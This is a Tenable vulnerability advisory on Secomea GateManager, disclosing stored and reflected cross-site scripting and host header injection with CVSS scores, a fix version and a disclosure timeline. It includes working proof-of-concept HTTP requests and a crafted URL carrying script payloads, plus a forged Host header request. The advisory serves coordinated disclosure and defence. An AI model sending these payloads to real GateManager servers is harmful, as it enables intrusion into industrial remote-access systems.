Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Secomea GateManager Multiple Vulnerabilities

Medium

Synopsis

Tenable has discovered multiple vulnerabilities in the Secomea GateManager. We have been advised by Secomea to "expect that these vulnerabilities affect all Secomea vendors." As we determine the list of affected vendors, we will update this page. To our current knowledge, this list includes B&R Industrial Automation GmbH.

CVE-2020-29021: Stored Cross-Site Scripting via file upload

CVSSv3 Base Score: 3.8
CVSSv3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

A user with administrative permissions can upload files to a /pub/ directory that is accessible by all other users. There are no restriction on file extensions being uploaded and nothing to prevent the rendering of HTML or javascript.

An attacker with server operator level permissions could exploit this issue by injecting malicious javascript into a custom page that, when browsed to, could steal other user cookies and force users to make actions without their knowledge.

Proof of Concept

After sending the below request some javascript will be executed in your browser when the /pub/test.html page is rendered, displaying the message ‘stored xss’.

POST /admin/cgi/QTWhxhnPv.c6Ff8ZS-KxZH0IkpDojTv0Cb4eHk36FlBfz0YF/gui.cgi HTTP/1.1
Host: 192.168.0.186
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------40815894029540187303449136273
Content-Length: 1205
Origin: https://192.168.0.186
Connection: close
Referer: https://192.168.0.186/admin
Upgrade-Insecure-Requests: 1
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="op"
save_file
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="ftype"
public
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="fname"
test.tar
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="MAX_FILE_SIZE"
268435456
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="subdir"
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="file"; filename="test.tar"
Content-Type: application/x-tar
<script>alert('stored xss')</script>
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="altname"
test.html
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="comment"
-----------------------------40815894029540187303449136273
Content-Disposition: form-data; name="save_public"
Upload
-----------------------------40815894029540187303449136273--

Note: You will need to change the target IP address and cookie values to that of your own target and authenticated session.

CVE-2020-29021: Stored Cross-Site Scripting via Create Local Terms

CVSSv3 Base Score: 3.8
CVSSv3 Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N

When updating the ‘Terms of Use Documents’, there is no input validation and it is possible to inject arbitrary javascript code which would be rendered when anyone views the document.

An attacker with server operator level permissions could exploit this issue by injecting malicious javascript into a ‘Terms of User’ page that, when browsed to, could steal other users cookies and force users to make actions without their knowledge.

Proof of Concept

After sending the below request some javascript will be executed in your browser when the /pub/test.html page is rendered, displaying the message ‘stored xss’.

POST /admin/cgi/QTWhxhnPv.c6Ff8ZS-KxZH0IkpDojTv0Cb4eHk36FlBfz0YF/gui.cgi HTTP/1.1
Host: 192.168.0.186
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 114
Origin: https://192.168.0.186
Connection: close
Referer: https://192.168.0.186/admin
FORMDATA=op=save_terms&subix=&config=%3Cscript%3Ealert('stored+xss')%3C%2Fscript%3E&ver=1&lang=en&language=English

Note: You will need to change the target IP address and cookie values to that of your own target and authenticated session.

CVE-2020-29021: Reflected Cross-Site Scripting preview_terms in gui.cgi

CVSSv3 Base Score: 6.3
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

The value of the preview_terms 'text' parameter on gui.cgi is reflected back in the response without sanitization. It is possible to inject arbitrary JavaScript code that would be executed in the user’s browser upon navigating to a crafted URL.

Proof of Concept

When the page is rendered at the below URL, JavaScript is executed resulting in the message ‘reflected xss’ being displayed.

https://192.168.0.186/lm/cgi/gui.cgi?op=preview_terms&text=%3Cscript%3Ealert(%27reflected+xss%27)%3C/script%3E

Note that the IP address would need to be changed to match that of the target.

CVE-2020-29022: HTTP Host Header Injection

CVSSv3 Base Score: 4.3
CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

The target is vulnerable to HTTP host header injection which is caused by improper validation of the host header.

This vulnerability could be exploited via web cache poisoning. This would involve an attacker poisoning the cache of a caching proxy run by the application, such as a CDN for example. This would result in the victim being forced to receive malicious content - including crafted host headers.

The request/response shown below is an example of what the victim would be served. We can see that there are a number of links that have been populated by ‘tenable.com’. If the victim clicks on any of these links they will be directed away from their intended site to a potentially malicious one.

Proof of Concept

To reproduce this issue, send the below request to the target; you will then see in the response DOM a number of links to the tenable.com domain.

GET / HTTP/1.1
Host: tenable.com
Cache-Control: no-cache
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/87.0.4280.66 Safari/537.36
Connection: close
Cache-Control: max-age=0

Example Output:

Solution

Upgrade to GM 8250 Release 9.3. See Secomea advisories page for more details. Additionally, Secomea has added a general XSS protection mechanism in version 9.3. Please see https://kb.secomea.com/helpdesk/KB/View/32429348-restrict-use-of-special-characters for details.

Disclosure Timeline

12/08/2020 - Tenable sends vulnerability report to B&R. 90-day date is March 08, 2021.
12/08/2020 - B&R asks for our public key.
12/09/2020 - Tenable responds with our public key.
12/09/2020 - B&R thanks us for the report. They have started their vulnerability handling process and will keep us updated.
12/09/2020 - Tenable thanks B&R.
12/15/2020 - Secomea reaches out. Thanks us for pentesting their products and acknowledges process and deadlines. They provide some remediation details.
12/16/2020 - Tenable asks B&R if we can discuss the issue with Secomea.
12/17/2020 - B&R advises us to speak with Secomea.
12/17/2020 - Tenable asks Secomea for clarification.
12/17/2020 - B&R asks Secomea for clarification as well. Asks us to coordinate publishing activities so we can all publish at the same time.
12/17/2020 - Tenable restates disclosure policy.
12/18/2020 - Secomea sends a message.
12/18/2020 - B&R responds to Secomea message. They will wait for fixes before publishing an advisory.
12/18/2020 - Tenable asks Secomea to resend their message. We can't read it.
12/18/2020 - Secomea sends details of CVE assignments, affected models/versions, coordination request.
12/18/2020 - Tenable asks for clarification on affected vendors, models and versions. States intent to publish.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2020-70
Credit:
Derrie Sutton
CVSSv3 Base / Temporal Score:
6.3 / 5.7
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L
Affected Products:
All prior to 9.3 for GateManager 8250. All GateManager 4250/4260/9250.
Risk Factor:
Medium

Advisory Timeline

12/18/2020 - Advisory published
12/21/2020 - Correcting PoC
01/08/2021 - Adding another reflected XSS that was mitigated as well. Added related reference and updated solution.